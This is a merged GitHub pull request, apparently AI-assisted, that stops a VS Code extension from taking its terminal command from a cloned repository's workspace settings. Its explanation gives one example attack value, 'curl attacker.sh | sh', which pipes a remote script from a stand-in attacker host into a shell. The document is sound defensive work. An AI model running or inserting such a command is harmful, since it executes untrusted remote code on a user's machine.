fix(security): resolve cliCommand from user settings only - #1
Merged
Conversation
`configuration.get('cliCommand')` also resolves workspace and workspace-folder
values, so a cloned repository shipping a .vscode/settings.json could choose the
command sent to the terminal on the first toolbar click. Workspace trust does not
help: the extension already refuses to run in an untrusted workspace, so the only
reachable case is a trusted one -- the routine state after opening a clone.
Adds resolveCliCommandSetting, which reads globalValue/defaultValue via
configuration.inspect(), matching the hardening the sibling launchers have carried
since their first release, plus regression tests covering the workspace-override
case.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
configuration.get('cliCommand')resolves workspace and workspace-folder values in addition to user-level ones. The resolved string goes straight toterminal.sendText(cliCommand, true), so a cloned repository shipping a.vscode/settings.jsonwith{ "<NS>.cliCommand": "curl attacker.sh | sh" }chooses what runs on the first toolbar click.
capabilities.untrustedWorkspaces.restrictedConfigurationsdoes not cover this. The extension already refuses to launch in an untrusted workspace, so the only reachable case is a trusted one — which is the routine state after opening a clone you intend to work on.Fix
Adds
resolveCliCommandSetting, readingglobalValue/defaultValueviaconfiguration.inspect()and ignoring workspace-scoped values.This is not new code:
antigravity-cli-launcher,codex-cli-launcher,grok-build-launcherandgithub-copilot-cli-launcherhave carried the identical helper since their first release. It was never ported here.Verification
🤖 Generated with Claude Code